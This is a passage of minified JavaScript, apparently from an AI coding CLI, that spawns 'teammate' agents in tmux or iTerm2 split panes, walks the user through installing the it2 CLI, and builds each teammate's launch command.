this.backend.sendCommandToPane(Y,G,!w),this.spawnedTeammates.set(K,{paneId:Y,insideTmux:w}),!this.cleanupRegistered)this.cleanupRegistered=!0,kK(async()=>{for(let[Z,W]of this.spawnedTeammates)h(`[PaneBackendExecutor] Cleanup: killing pane for ${Z}`),await this.backend.killPane(W.paneId,!W.insideTmux);this.spawnedTeammates.clear()});return Q3(A.name,{from:"team-lead",text:A.prompt,timestamp:new Date().toISOString()},A.teamName),h(`[PaneBackendExecutor] Spawned teammate ${K} in pane ${Y}`),{success:!0,agentId:K,paneId:Y}}catch(q){let Y=q instanceof Error?q.message:String(q);return h(`[PaneBackendExecutor] Failed to spawn ${K}: ${Y}`),{success:!1,agentId:K,error:Y}}}async sendMessage(A,K){h(`[PaneBackendExecutor] sendMessage() to ${A}: ${K.text.substring(0,50)}...`);let q=k3A(A);if(!q)throw Error(`Invalid agentId format: ${A}. Expected format: agentName@teamName`);let{agentName:Y,teamName:z}=q;Q3(Y,{text:K.text,from:K.from,color:K.color,timestamp:K.timestamp??new Date().toISOString()},z),h(`[PaneBackendExecutor] sendMessage() completed for ${A}`)}async terminate(A,K){h(`[PaneBackendExecutor] terminate() called for ${A}: ${K}`);let q=k3A(A);if(!q)return h("[PaneBackendExecutor] terminate() failed: invalid agentId format"),!1;let{agentName:Y,teamName:z}=q,w={type:"shutdown_request",requestId:`shutdown-${A}-${Date.now()}`,from:"team-lead",reason:K};return Q3(Y,{from:"team-lead",text:UA(w),timestamp:new Date().toISOString()},z),h(`[PaneBackendExecutor] terminate() sent shutdown request to ${A}`),!0}async kill(A){h(`[PaneBackendExecutor] kill() called for ${A}`);let K=this.spawnedTeammates.get(A);if(!K)return h(`[PaneBackendExecutor] kill() failed: teammate ${A} not found in spawned map`),!1;let{paneId:q,insideTmux:Y}=K,z=await this.backend.killPane(q,!Y);if(z)this.spawnedTeammates.delete(A),h(`[PaneBackendExecutor] kill() succeeded for ${A}`);else h(`[PaneBackendExecutor] kill() failed for ${A}`);return z}async isActive(A){if(h(`[PaneBackendExecutor] isActive() called for ${A}`),!this.spawnedTeammates.get(A))return h(`[PaneBackendExecutor] isActive(): teammate ${A} not found`),!1;return!0}}function lqK(A){return new cqK(A)}var iqK=k(()=>{Z1();R2();_H();BP1();_m();gO();q6();dqK();b1()});import{homedir as PV1}from"os";async function nqK(){if((await R6("which",["uv"])).code===0)return h("[it2Setup] Found uv (will use uv tool install)"),"uvx";if((await R6("which",["pipx"])).code===0)return h("[it2Setup] Found pipx package manager"),"pipx";if((await R6("which",["pip"])).code===0)return h("[it2Setup] Found pip package manager"),"pip";if((await R6("which",["pip3"])).code===0)return h("[it2Setup] Found pip3 package manager"),"pip";return h("[it2Setup] No Python package manager found"),null}async function KV2(){return(await R6("which",["it2"])).code===0}async function rqK(A){h(`[it2Setup] Installing it2 using ${A}`);let K;switch(A){case"uvx":K=await A7("uv",["tool","install","it2"],{cwd:PV1()});break;case"pipx":K=await A7("pipx",["install","it2"],{cwd:PV1()});break;case"pip":if(K=await A7("pip",["install","--user","it2"],{cwd:PV1()}),K.code!==0)K=await A7("pip3",["install","--user","it2"],{cwd:PV1()});break}if(K.code!==0){let q=K.stderr||"Unknown installation error";return KA(Error(`[it2Setup] Failed to install it2: ${q}`)),{success:!1,error:q,packageManager:A}}return h("[it2Setup] it2 installed successfully"),{success:!0,packageManager:A}}async function LS6(){if(h("[it2Setup] Verifying it2 setup..."),!await KV2())return{success:!1,error:"it2 CLI is not installed or not in PATH"};let K=await R6("it2",["session","list"]);if(K.code!==0){let q=K.stderr.toLowerCase();if(q.includes("api")||q.includes("python")||q.includes("connection refused")||q.includes("not enabled"))return h("[it2Setup] Python API not enabled in iTerm2"),{success:!1,error:"Python API not enabled in iTerm2 preferences",needsPythonApiEnabled:!0};return{success:!1,error:K.stderr||"Failed to communicate with iTerm2"}}return h("[it2Setup] it2 setup verified successfully"),{success:!0}}function oqK(){return["Almost done! Enable the Python API in iTerm2:",""," iTerm2 → Settings → General → Magic → Enable Python API","","After enabling, you may need to restart iTerm2."]}function RS6(){if(M1().iterm2It2SetupComplete!==!0)D6((K)=>({...K,iterm2It2SetupComplete:!0})),h("[it2Setup] Marked it2 setup as complete")}function aqK(A){if(M1().preferTmuxOverIterm2!==A)D6((q)=>({...q,preferTmuxOverIterm2:A})),h(`[it2Setup] Set preferTmuxOverIterm2 = ${A}`)}function sqK(){return M1().preferTmuxOverIterm2===!0}var yS6=k(()=>{CK();Z1();C1();i6()});var A5K={};_q(A5K,{resetTmuxBackendState:()=>zV2,TmuxBackend:()=>hS6});function tqK(){return new Promise((A)=>setTimeout(A,qV2))}function YV2(){let A,K=new Promise((Y)=>{A=Y}),q=SS6;return SS6=K,q.then(()=>A)}function eqK(A){return{red:"red",blue:"blue",green:"green",yellow:"yellow",purple:"magenta",orange:"colour208",pink:"colour205",cyan:"cyan"}[A]}function dS(A){return R6(Hj,A)}function CW(A){return R6(Hj,["-L",DDA(),...A])}class hS6{type="tmux";displayName="tmux";supportsHideShow=!0;async isAvailable(){return ct()}async isRunningInside(){return pS()}async createTeammatePaneInSwarmView(A,K){let q=await YV2();try{if(await this.isRunningInside())return await this.createTeammatePaneWithLeader(A,K);return await this.createTeammatePaneExternal(A,K)}finally{q()}}async sendCommandToPane(A,K,q=!1){let z=await(q?CW:dS)(["send-keys","-t",A,K,"Enter"]);if(z.code!==0)throw Error(`Failed to send command to pane ${A}: ${z.stderr}`)}async setPaneBorderColor(A,K,q=!1){let Y=eqK(K),z=q?CW:dS;await z(["select-pane","-t",A,"-P",`bg=default,fg=${Y}`]),await z(["set-option","-p","-t",A,"pane-border-style",`fg=${Y}`]),await z(["set-option","-p","-t",A,"pane-active-border-style",`fg=${Y}`])}async setPaneTitle(A,K,q,Y=!1){let z=eqK(q),w=Y?CW:dS;await w(["select-pane","-t",A,"-T",K]),await w(["set-option","-p","-t",A,"pane-border-format",`#[fg=${z},bold] #{pane_title} #[default]`])}async enablePaneBorderStatus(A,K=!1){let q=A||await this.getCurrentWindowTarget();if(!q)return;await(K?CW:dS)(["set-option","-w","-t",q,"pane-border-status","top"])}async rebalancePanes(A,K){if(K)await this.rebalancePanesWithLeader(A);else await this.rebalancePanesTiled(A)}async killPane(A,K=!1){return(await(K?CW:dS)(["kill-pane","-t",A])).code===0}async hidePane(A,K=!1){let q=K?CW:dS;await q(["new-session","-d","-s",OT6]);let Y=await q(["break-pane","-d","-s",A,"-t",`${OT6}:`]);if(Y.code===0)h(`[TmuxBackend] Hidden pane ${A}`);else h(`[TmuxBackend] Failed to hide pane ${A}: ${Y.stderr}`);return Y.code===0}async showPane(A,K,q=!1){let Y=q?CW:dS,z=await Y(["join-pane","-h","-s",A,"-t",K]);if(z.code!==0)return h(`[TmuxBackend] Failed to show pane ${A}: ${z.stderr}`),!1;h(`[TmuxBackend] Showed pane ${A} in ${K}`),await Y(["select-layout","-t",K,"main-vertical"]);let H=(await Y(["list-panes","-t",K,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean);if(H[0])await Y(["resize-pane","-t",H[0],"-x","30%"]);return!0}async getCurrentPaneId(){let A=jV1();if(A)return A;let K=await R6(Hj,["display-message","-p","#{pane_id}"]);if(K.code!==0)return h(`[TmuxBackend] Failed to get current pane ID (exit ${K.code}): ${K.stderr}`),null;return K.stdout.trim()}async getCurrentWindowTarget(){if(VV1)return VV1;let A=jV1(),K=["display-message"];if(A)K.push("-t",A);K.push("-p","#{session_name}:#{window_index}");let q=await R6(Hj,K);if(q.code!==0)return h(`[TmuxBackend] Failed to get current window target (exit ${q.code}): ${q.stderr}`),null;return VV1=q.stdout.trim(),VV1}async getCurrentWindowPaneCount(A,K=!1){let q=A||await this.getCurrentWindowTarget();if(!q)return null;let Y=["list-panes","-t",q,"-F","#{pane_id}"],z=K?await CW(Y):await dS(Y);if(z.code!==0)return KA(Error(`[TmuxBackend] Failed to get pane count for ${q} (exit ${z.code}): ${z.stderr}`)),null;return z.stdout.trim().split(` `).filter(Boolean).length}async hasSessionInSwarm(A){return(await CW(["has-session","-t",A])).code===0}async createExternalSwarmSession(){if(!await this.hasSessionInSwarm(Sf)){let w=await CW(["new-session","-d","-s",Sf,"-n",WDA,"-P","-F","#{pane_id}"]);if(w.code!==0)throw Error(`Failed to create swarm session: ${w.stderr||"Unknown error"}`);let H=w.stdout.trim(),J=`${Sf}:${WDA}`;return h(`[TmuxBackend] Created external swarm session with window ${J}, pane ${H}`),{windowTarget:J,paneId:H}}let q=(await CW(["list-windows","-t",Sf,"-F","#{window_name}"])).stdout.trim().split(` `).filter(Boolean),Y=`${Sf}:${WDA}`;if(q.includes(WDA)){let H=(await CW(["list-panes","-t",Y,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean);return{windowTarget:Y,paneId:H[0]||""}}let z=await CW(["new-window","-t",Sf,"-n",WDA,"-P","-F","#{pane_id}"]);if(z.code!==0)throw Error(`Failed to create swarm-view window: ${z.stderr||"Unknown error"}`);return{windowTarget:Y,paneId:z.stdout.trim()}}async createTeammatePaneWithLeader(A,K){let q=await this.getCurrentPaneId(),Y=await this.getCurrentWindowTarget();if(!q||!Y)throw Error("Could not determine current tmux pane/window");let z=await this.getCurrentWindowPaneCount(Y);if(z===null)throw Error("Could not determine pane count for current window");let w=z===1,H;if(w)H=await R6(Hj,["split-window","-t",q,"-h","-p","70","-P","-F","#{pane_id}"]);else{let $=(await R6(Hj,["list-panes","-t",Y,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean).slice(1),_=$.length,G=_%2===1,Z=Math.floor((_-1)/2),W=$[Z]||$[$.length-1];H=await R6(Hj,["split-window","-t",W,G?"-v":"-h","-P","-F","#{pane_id}"])}if(H.code!==0)throw Error(`Failed to create teammate pane: ${H.stderr}`);let J=H.stdout.trim();return h(`[TmuxBackend] Created teammate pane for ${A}: ${J}`),await this.setPaneBorderColor(J,K),await this.setPaneTitle(J,A,K),await this.rebalancePanesWithLeader(Y),await tqK(),{paneId:J,isFirstTeammate:w}}async createTeammatePaneExternal(A,K){let{windowTarget:q,paneId:Y}=await this.createExternalSwarmSession(),z=await this.getCurrentWindowPaneCount(q,!0);if(z===null)throw Error("Could not determine pane count for swarm window");let w=!IS6&&z===1,H;if(w)H=Y,IS6=!0,h(`[TmuxBackend] Using initial pane for first teammate ${A}: ${H}`),await this.enablePaneBorderStatus(q,!0);else{let O=(await CW(["list-panes","-t",q,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean),X=O.length,$=X%2===1,_=Math.floor((X-1)/2),G=O[_]||O[O.length-1],Z=await CW(["split-window","-t",G,$?"-v":"-h","-P","-F","#{pane_id}"]);if(Z.code!==0)throw Error(`Failed to create teammate pane: ${Z.stderr}`);H=Z.stdout.trim(),h(`[TmuxBackend] Created teammate pane for ${A}: ${H}`)}return await this.setPaneBorderColor(H,K,!0),await this.setPaneTitle(H,A,K,!0),await this.rebalancePanesTiled(q),await tqK(),{paneId:H,isFirstTeammate:w}}async rebalancePanesWithLeader(A){let q=(await dS(["list-panes","-t",A,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean);if(q.length<=2)return;await dS(["select-layout","-t",A,"main-vertical"]);let Y=q[0];await dS(["resize-pane","-t",Y,"-x","30%"]),h(`[TmuxBackend] Rebalanced ${q.length-1} teammate panes with leader`)}async rebalancePanesTiled(A){let q=(await CW(["list-panes","-t",A,"-F","#{pane_id}"])).stdout.trim().split(` `).filter(Boolean);if(q.length<=1)return;await CW(["select-layout","-t",A,"tiled"]),h(`[TmuxBackend] Rebalanced ${q.length} teammate panes with tiled layout`)}}function zV2(){IS6=!1,SS6=Promise.resolve()}var IS6=!1,VV1=null,SS6,qV2=200;var K5K=k(()=>{CK();Z1();C1();cS();_m();SS6=Promise.resolve();bS6(hS6)});var q5K={};_q(q5K,{resetITermBackendState:()=>OV2,getTeammateSessionIds:()=>XV2,ITermBackend:()=>mS6});function wV2(){let A,K=new Promise((Y)=>{A=Y}),q=BS6;return BS6=K,q.then(()=>A)}async function xS6(A){return R6(MV1,A)}function HV2(A){let K=A.match(/Created new pane:\s*(.+)/);if(K&&K[1])return K[1].trim();return""}function JV2(){let A=process.env.ITERM_SESSION_ID;if(!A)return null;let K=A.indexOf(":");if(K===-1)return null;return A.slice(K+1)}class mS6{type="iterm2";displayName="iTerm2";supportsHideShow=!1;async isAvailable(){let A=o3A();if(h(`[ITermBackend] isAvailable check: inITerm2=${A}`),!A)return h("[ITermBackend] isAvailable: false (not in iTerm2)"),!1;let K=await OUA();return h(`[ITermBackend] isAvailable: ${K} (it2 CLI ${K?"found":"not found"})`),K}async isRunningInside(){let A=o3A();return h(`[ITermBackend] isRunningInside: ${A}`),A}async createTeammatePaneInSwarmView(A,K){h(`[ITermBackend] createTeammatePaneInSwarmView called for ${A} with color ${K}`);let q=await wV2();try{let Y=!uS6;h(`[ITermBackend] Creating pane: isFirstTeammate=${Y}, existingPanes=${CMA.length}`);let z;if(Y){let J=JV2();if(J)z=["session","split","-v","-s",J],h(`[ITermBackend] First split from leader session: ${J}`);else z=["session","split","-v"],h("[ITermBackend] First split from active session (no leader ID)")}else{let J=CMA[CMA.length-1];if(J)z=["session","split","-s",J],h(`[ITermBackend] Subsequent split from teammate session: ${J}`);else z=["session","split"],h("[ITermBackend] Subsequent split from active session (no teammate ID)")}let w=await xS6(z);if(w.code!==0)throw Error(`Failed to create iTerm2 split pane: ${w.stderr}`);if(Y)uS6=!0;let H=HV2(w.stdout);if(!H)throw Error(`Failed to parse session ID from split output: ${w.stdout}`);return h(`[ITermBackend] Created teammate pane for ${A}: ${H}`),CMA.push(H),{paneId:H,isFirstTeammate:Y}}finally{q()}}async sendCommandToPane(A,K,q){let z=await xS6(A?["session","run","-s",A,K]:["session","run",K]);if(z.code!==0)throw Error(`Failed to send command to iTerm2 pane ${A}: ${z.stderr}`)}async setPaneBorderColor(A,K,q){}async setPaneTitle(A,K,q,Y){}async enablePaneBorderStatus(A,K){}async rebalancePanes(A,K){h("[ITermBackend] Pane rebalancing not implemented for iTerm2")}async killPane(A,K){return(await xS6(["session","close","-s",A])).code===0}async hidePane(A,K){return h("[ITermBackend] hidePane not supported in iTerm2"),!1}async showPane(A,K,q){return h("[ITermBackend] showPane not supported in iTerm2"),!1}}function OV2(){CMA.length=0,uS6=!1,BS6=Promise.resolve()}function XV2(){return CMA}var CMA,uS6=!1,BS6;var Y5K=k(()=>{CK();Z1();_m();cS();CMA=[],BS6=Promise.resolve();gS6(mS6)});var H5K={};_q(H5K,{resetBackendDetection:()=>DV2,registerTmuxBackend:()=>bS6,registerITermBackend:()=>gS6,isInProcessEnabled:()=>Gm,getTeammateExecutor:()=>ZV2,getInProcessBackend:()=>w5K,getCachedBackend:()=>RMA,getBackendByType:()=>pS6,detectAndGetBackend:()=>it});async function $V2(){if(FS6)return;await Promise.resolve().then(() => (K5K(),A5K)),await Promise.resolve().then(() => (Y5K(),q5K)),FS6=!0}function bS6(A){QS6=A}function gS6(A){h(`[registry] registerITermBackend called, class=${A?.name||"undefined"}`),US6=A}function TV1(){if(!QS6)throw Error("TmuxBackend not registered. Import TmuxBackend.ts before using the registry.");return new QS6}function z5K(){if(!US6)throw Error("ITermBackend not registered. Import ITermBackend.ts before using the registry.");return new US6}async function it(){if(await $V2(),PL)return h(`[BackendRegistry] Using cached backend: ${PL.backend.type}`),PL;h("[BackendRegistry] Starting backend detection...");let A=await pS(),K=o3A();if(h(`[BackendRegistry] Environment: insideTmux=${A}, inITerm2=${K}`),A){h("[BackendRegistry] Selected: tmux (running inside tmux session)");let Y=TV1();return LMA=Y,PL={backend:Y,isNative:!0,needsIt2Setup:!1},PL}if(K){if(sqK())h("[BackendRegistry] User prefers tmux over iTerm2, skipping iTerm2 detection");else{let w=await OUA();if(h(`[BackendRegistry] iTerm2 detected, it2 CLI available: ${w}`),w){h("[BackendRegistry] Selected: iterm2 (native iTerm2 with it2 CLI)");let H=z5K();return LMA=H,PL={backend:H,isNative:!0,needsIt2Setup:!1},PL}}let z=await ct();if(h(`[BackendRegistry] it2 not available, tmux available: ${z}`),z){h("[BackendRegistry] Selected: tmux (fallback in iTerm2, it2 setup recommended)");let w=TV1();return LMA=w,PL={backend:w,isNative:!1,needsIt2Setup:!0},PL}throw h("[BackendRegistry] ERROR: iTerm2 detected but no it2 CLI and no tmux"),Error("iTerm2 detected but it2 CLI not installed. Install it2 with: pip install it2")}let q=await ct();if(h(`[BackendRegistry] Not in tmux or iTerm2, tmux available: ${q}`),q){h("[BackendRegistry] Selected: tmux (external session mode)");let Y=TV1();return LMA=Y,PL={backend:Y,isNative:!1,needsIt2Setup:!1},PL}throw h("[BackendRegistry] ERROR: No pane backend available"),Error(_V2())}function _V2(){switch(o6()){case"macos":return`To use agent swarms, install tmux: brew install tmux Then start a tmux session with: tmux new-session -s claude`;case"linux":case"wsl":return`To use agent swarms, install tmux: sudo apt install tmux # Ubuntu/Debian sudo dnf install tmux # Fedora/RHEL Then start a tmux session with: tmux new-session -s claude`;case"windows":return`To use agent swarms, you need tmux which requires WSL (Windows Subsystem for Linux). Install WSL first, then inside WSL run: sudo apt install tmux Then start a tmux session with: tmux new-session -s claude`;default:return`To use agent swarms, install tmux using your system's package manager. Then start a tmux session with: tmux new-session -s claude`}}function pS6(A){switch(A){case"tmux":return TV1();case"iterm2":return z5K()}}function RMA(){return LMA}function GV2(){return XUA()}function Gm(){if(b7())return h("[BackendRegistry] isInProcessEnabled: true (non-interactive session)"),!0;let A=GV2(),K;if(A==="in-process")K=!0;else if(A==="tmux")K=!1;else K=!DV1();return h(`[BackendRegistry] isInProcessEnabled: ${K} (mode=${A}, insideTmux=${DV1()})`),K}function w5K(){if(!fV1)fV1=uqK();return fV1}async function ZV2(A=!1){if(A&&Gm())return h("[BackendRegistry] Using in-process executor"),w5K();return h("[BackendRegistry] Using pane backend executor"),WV2()}async function WV2(){if(!NV1){let A=await it();NV1=lqK(A.backend),h(`[BackendRegistry] Created PaneBackendExecutor wrapping ${A.backend.type}`)}return NV1}function DV2(){LMA=null,PL=null,fV1=null,NV1=null,FS6=!1}var LMA=null,PL=null,FS6=!1,fV1=null,NV1=null,QS6=null,US6=null;var cS=k(()=>{BqK();iqK();_m();Z1();yS6();B5();$UA();q6()});async function iS6(){if(!dS6)dS6=await it();return dS6.backend}function Ym(A){let K=cS6.get(A);if(K)return K;let q=Y0[lS6%Y0.length];return cS6.set(A,q),lS6++,q}function OKK(){cS6.clear(),lS6=0}async function J5K(){let{isInsideTmux:A}=await Promise.resolve().then(() => (_m(),gqK));return A()}async function O5K(A,K){return(await iS6()).createTeammatePaneInSwarmView(A,K)}async function X5K(A,K=!1){return(await iS6()).enablePaneBorderStatus(A,K)}async function $5K(A,K,q=!1){return(await iS6()).sendCommandToPane(A,K,q)}var cS6,lS6=0,dS6=null;var BP1=k(()=>{aZ();cS();cS6=new Map});function _5K(A){let K=s(49),{onDone:q,tmuxAvailable:Y}=A,[z,w]=yMA.useState("initial"),[H,J]=yMA.useState(null),[O,X]=yMA.useState(null),$=n8(),_,G;if(K[0]===Symbol.for("react.memo_cache_sentinel"))_=()=>{nqK().then((e)=>{J(e)})},G=[],K[0]=_,K[1]=G;else _=K[0],G=K[1];yMA.useEffect(_,G);let Z;if(K[2]!==q)Z=()=>{q("cancelled")},K[2]=q,K[3]=Z;else Z=K[3];let W=Z,D=z!=="installing"&&z!=="verifying",j;if(K[4]!==D)j={context:"Confirmation",isActive:D},K[4]=D,K[5]=j;else j=K[5];J6("confirm:no",W,j);let M;if(K[6]!==q||K[7]!==z)M=(e,qA)=>{if(z==="api-instructions"&&qA.return)w("verifying"),LS6().then((HA)=>{if(HA.success)RS6(),w("success"),setTimeout(()=>q("installed"),1500);else X(HA.error||"Verification failed"),w("failed")})},K[6]=q,K[7]=z,K[8]=M;else M=K[8];K8(M);let P;if(K[9]!==H)P=async function(){if(!H){X("No Python package manager found (uvx, pipx, or pip)"),w("failed");return}w("installing");let qA=await rqK(H);if(qA.success)w("api-instructions");else X(qA.error||"Installation failed"),w("install-failed")},K[9]=H,K[10]=P;else P=K[10];let f=P,N;if(K[11]!==q)N=function(){aqK(!0),q("use-tmux")},K[11]=q,K[12]=N;else N=K[12];let T=N,C,R,x,y,B,b,F,Q,u,d;if(K[13]!==O||K[14]!==f||K[15]!==T||K[16]!==q||K[17]!==H||K[18]!==z||K[19]!==Y){let qA=function(){let hA=[{label:"Install it2 now",value:"install",description:H?`Uses ${H} to install the it2 CLI tool`:"Requires Python (uvx, pipx, or pip)"}];if(Y)hA.push({label:"Use tmux instead",value:"tmux",description:"Opens teammates in a separate tmux session"});return hA.push({label:"Cancel",value:"cancel",description:"Skip teammate spawning for now"}),cq.default.createElement(S,{flexDirection:"column",gap:1},cq.default.createElement(V,null,"To use native iTerm2 split panes for teammates, you need the"," ",cq.default.createElement(V,{bold:!0},"it2")," CLI tool."),cq.default.createElement(V,{dimColor:!0},"This enables teammates to appear as split panes within your current window."),cq.default.createElement(S,{marginTop:1},cq.default.createElement(E6,{options:hA,onChange:(yA)=>{A:switch(yA){case"install":{f();break A}case"tmux":{T();break A}case"cancel":q("cancelled")}},onCancel:()=>q("cancelled")})))},HA=function(){return cq.default.createElement(S,{flexDirection:"column",gap:1},cq.default.createElement(S,null,cq.default.createElement(F7,null),cq.default.createElement(V,null," Installing it2 using ",H,"…")),cq.default.createElement(V,{dimColor:!0},"This may take a moment."))},_A=function(){let hA=[{label:"Try again",value:"retry",description:"Retry the installation"}];if(Y)hA.push({label:"Use tmux instead",value:"tmux",description:"Falls back to tmux for teammate panes"});return hA.push({label:"Cancel",value:"cancel",description:"Skip teammate spawning for now"}),cq.default.createElement(S,{flexDirection:"column",gap:1},cq.default.createElement(V,{color:"error"},"Installation failed"),O&&cq.default.createElement(V,{dimColor:!0},O),cq.default.createElement(V,{dimColor:!0},"You can try installing manually:"," ",H==="uvx"?"uv tool install it2":H==="pipx"?"pipx install it2":"pip install --user it2"),cq.default.createElement(S,{marginTop:1},cq.default.createElement(E6,{options:hA,onChange:(yA)=>{A:switch(yA){case"retry":{f();break A}case"tmux":{T();break A}case"cancel":q("cancelled")}},onCancel:()=>q("cancelled")})))},a=function(){let hA=oqK();return cq.default.createElement(S,{flexDirection:"column",gap:1},cq.default.createElement(V,{color:"success"},"✓ it2 installed successfully"),cq.default.createElement(S,{flexDirection:"column",marginTop:1},hA.map(jV2)),cq.default.createElement(S,{marginTop:1},cq.default.createElement(V,{dimColor:!0},"Press Enter when ready to verify…")))},JA=function(){return cq.default.createElement(S,null,cq.default.createElement(F7,null),cq.default.createElement(V,null," Verifying it2 can communicate with iTerm2…"))},jA=function(){return cq.default.createElement(S,{flexDirection:"column"},cq.default.createElement(V,{color:"success"},"✓ iTerm2 split pane support is ready"),cq.default.createElement(V,{dimColor:!0},"Teammates will now appear as split panes."))},MA=function(){let hA=[{label:"Try again",value:"retry",description:"Verify the connection again"}];if(Y)hA.push({label:"Use tmux instead",value:"tmux",description:"Falls back to tmux for teammate panes"});return hA.push({label:"Cancel",value:"cancel",description:"Skip teammate spawning for now"}),cq.default.createElement(S,{flexDirection:"column",gap:1},cq.default.createElement(V,{color:"error"},"Verification failed"),O&&cq.default.createElement(V,{dimColor:!0},O),cq.default.createElement(V,null,"Make sure:"),cq.default.createElement(S,{flexDirection:"column",paddingLeft:2},cq.default.createElement(V,null,"• Python API is enabled in iTerm2 preferences"),cq.default.createElement(V,null,"• You may need to restart iTerm2 after enabling")),cq.default.createElement(S,{marginTop:1},cq.default.createElement(E6,{options:hA,onChange:(yA)=>{A:switch(yA){case"retry":{w("verifying"),LS6().then((AA)=>{if(AA.success)RS6(),w("success"),setTimeout(()=>q("installed"),1500);else X(AA.error||"Verification failed"),w("failed")});break A}case"tmux":{T();break A}case"cancel":q("cancelled")}},onCancel:()=>q("cancelled")})))},e=()=>{switch(z){case"initial":return qA();case"installing":return HA();case"install-failed":return _A();case"api-instructions":return a();case"verifying":return JA();case"success":return jA();case"failed":return MA();default:return null}};if(R=S,Q="column",K[30]===Symbol.for("react.memo_cache_sentinel"))u=cq.default.createElement(g3,{dividerColor:"permission"}),K[30]=u;else u=K[30];if(C=S,d=1,x="column",y=1,B=1,K[31]===Symbol.for("react.memo_cache_sentinel"))b=cq.default.createElement(V,{bold:!0,color:"permission"},"iTerm2 Split Pane Setup"),K[31]=b;else b=K[31];F=e(),K[13]=O,K[14]=f,K[15]=T,K[16]=q,K[17]=H,K[18]=z,K[19]=Y,K[20]=C,K[21]=R,K[22]=x,K[23]=y,K[24]=B,K[25]=b,K[26]=F,K[27]=Q,K[28]=u,K[29]=d}else C=K[20],R=K[21],x=K[22],y=K[23],B=K[24],b=K[25],F=K[26],Q=K[27],u=K[28],d=K[29];let r;if(K[32]!==$||K[33]!==z)r=z!=="installing"&&z!=="verifying"&&z!=="success"&&cq.default.createElement(V,{dimColor:!0,italic:!0},$.pending?cq.default.createElement(cq.default.Fragment,null,"Press ",$.keyName," again to exit"):cq.default.createElement(cq.default.Fragment,null,"Esc to cancel")),K[32]=$,K[33]=z,K[34]=r;else r=K[34];let c;if(K[35]!==C||K[36]!==x||K[37]!==y||K[38]!==B||K[39]!==b||K[40]!==F||K[41]!==r||K[42]!==d)c=cq.default.createElement(C,{marginX:d,flexDirection:x,gap:y,paddingBottom:B},b,F,r),K[35]=C,K[36]=x,K[37]=y,K[38]=B,K[39]=b,K[40]=F,K[41]=r,K[42]=d,K[43]=c;else c=K[43];let YA;if(K[44]!==R||K[45]!==Q||K[46]!==u||K[47]!==c)YA=cq.default.createElement(R,{flexDirection:Q},u,c),K[44]=R,K[45]=Q,K[46]=u,K[47]=c,K[48]=YA;else YA=K[48];return YA}function jV2(A,K){return cq.default.createElement(V,{key:K},A)}var cq,yMA;var G5K=k(()=>{cA();mA();Iq();C8();q9();i2();j$();yS6();cq=o($A(),1),yMA=o($A(),1)});import{join as vV1}from"path";import{existsSync as MV2,mkdirSync as PV2,readFileSync as VV2}from"fs";async function fV2(A){return(await R6(Hj,["has-session","-t",A])).code===0}async function NV2(A){if(!await fV2(A)){let q=await R6(Hj,["new-session","-d","-s",A]);if(q.code!==0)throw Error(`Failed to create tmux session '${A}': ${q.stderr||"Unknown error"}`)}}function W5K(A){return A.replace(/[^a-zA-Z0-9]/g,"-").toLowerCase()}function rS6(A){return A.replace(/@/g,"-")}function D5K(){if(process.env[jDA])return process.env[jDA];return n9()?process.execPath:process.argv[1]}function j5K(A){let K=[],{planModeRequired:q,permissionMode:Y}=A||{};if(q);else if(Y==="bypassPermissions"||GzA())K.push("--dangerously-skip-permissions");else if(Y==="acceptEdits")K.push("--permission-mode acceptEdits");let z=wzA();if(z)K.push(`--model ${R4([z])}`);let w=w1A();if(w)K.push(`--settings ${R4([w])}`);let H=_zA();for(let J of H)K.push(`--plugin-dir ${R4([J])}`);return K.join(" ")}function TV2(){let A=process.env.HOME||process.env.USERPROFILE||".";return vV1(A,".claude","teams")}function M5K(A){return vV1(TV2(),W5K(A))}function a3A(A){let K=vV1(M5K(A),"config.json");if(!MV2(K))return null;try{let q=VV2(K,"utf-8");return G6(q)}catch(q){return h(`[spawnTeammate] Failed to read team file for ${A}: ${q instanceof Error?q.message:String(q)}`),null}}function oS6(A,K){let q=M5K(A);PV2(q,{recursive:!0});let Y=vV1(q,"config.json");x8(Y,UA(K,null,2))}function aS6(A,K){if(!K)return A;let q=a3A(K);if(!q)return A;let Y=new Set(q.members.map((w)=>w.name.toLowerCase()));if(!Y.has(A.toLowerCase()))return A;let z=2;while(Y.has(`${A}-${z}`.toLowerCase()))z++;return`${A}-${z}`}async function vV2(A,K){let{setAppState:q,getAppState:Y}=K,{name:z,prompt:w,agent_type:H,cwd:J,plan_mode_required:O}=A,X=A.model??nS6;if(!z||!w)throw Error("name and prompt are required for spawn operation");let $=await Y(),_=A.team_name||$.teamContext?.teamName;if(!_)throw Error("team_name is required for spawn operation. Either provide team_name in input or call spawnTeam first to establish team context.");let G=aS6(z,_),Z=rS6(G),W=cf(Z,_),D=J||x1(),j=await it();if(j.needsIt2Setup&&K.setToolJSX){let Q=await ct(),u=await new Promise((d)=>{K.setToolJSX({jsx:Z5K.default.createElement(_5K,{onDone:d,tmuxAvailable:Q}),shouldHidePromptInput:!0})});if(K.setToolJSX(null),u==="cancelled")throw Error("Teammate spawn cancelled - iTerm2 setup required");if(u==="installed"){let{resetBackendDetection:d}=await Promise.resolve().then(() => (cS(),H5K));d()}}let M=await J5K(),P=Ym(W),{paneId:f,isFirstTeammate:N}=await O5K(Z,P);if(N&&M)await X5K();let T=D5K(),C=[`--agent-id ${R4([W])}`,`--agent-name ${R4([Z])}`,`--team-name ${R4([_])}`,`--agent-color ${R4([P])}`,`--parent-session-id ${R4([d1()])}`,O?"--plan-mode-required":"",H?`--agent-type ${R4([H])}`:""].filter(Boolean).join(" "),R=j5K({planModeRequired:O,permissionMode:$.toolPermissionContext.mode});if(X)R=R.split(" ").filter((Q,u,d)=>Q!=="--model"&&d[u-1]!=="--model").join(" "),R=R?`${R} --model ${R4([X])}`:`--model ${R4([X])}`;let x=R?` ${R}`:"",y=`cd ${R4([D])} && CLAUDECODE=1 ${R4([T])} ${C}${x}`;await $5K(f,y,!M);let 